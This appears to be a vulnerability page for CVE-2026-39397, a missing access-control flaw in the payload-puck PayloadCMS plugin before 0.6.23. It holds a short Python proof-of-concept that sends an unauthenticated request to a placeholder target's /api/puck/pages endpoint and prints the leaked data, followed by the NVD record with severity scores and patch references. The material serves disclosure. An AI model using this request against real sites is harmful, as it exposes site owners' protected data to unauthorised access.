CVE-2026-39397

import requests # Target URL example (Vulnerable endpoint) target_url = "http://target-domain.com/api/puck/pages" # Send an unauthenticated request to exploit the access control bypass # The vulnerability allows bypassing collection-level access controls response = requests.get(target_url) if response.status_code == 200: print("[+] Vulnerability Confirmed! Access control bypassed.") print("[+] Leaked Data:", response.text) else: print("[-] Request failed or target not vulnerable.")

{"cve": {"id": "CVE-2026-39397", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:18.160", "lastModified": "2026-04-15T20:29:13.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "@delmaredigital/payload-puck is a PayloadCMS plugin for integrating Puck visual page builder. Prior to 0.6.23, all /api/puck/* CRUD endpoint handlers registered by createPuckPlugin() called Payload's local API with the default overrideAccess: true, bypassing all collection-level access control. The access option passed to createPuckPlugin() and any access rules defined on Puck-registered collections were silently ignored on these endpoints. This vulnerability is fixed in 0.6.23."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:delmaredigital:payload-puck:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.6.23", "matchCriteriaId": "0B73DEC7-D7FC-4452-91E1-746E16F0A536"}]}]}], "references": [{"url": "https://github.com/delmaredigital/payload-puck/commit/9148201c6bbfa140d44546438027a2f8a70f79a4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/delmaredigital/payload-puck/issues/7", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/delmaredigital/payload-puck/security/advisories/GHSA-65w6-pf7x-5g85", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}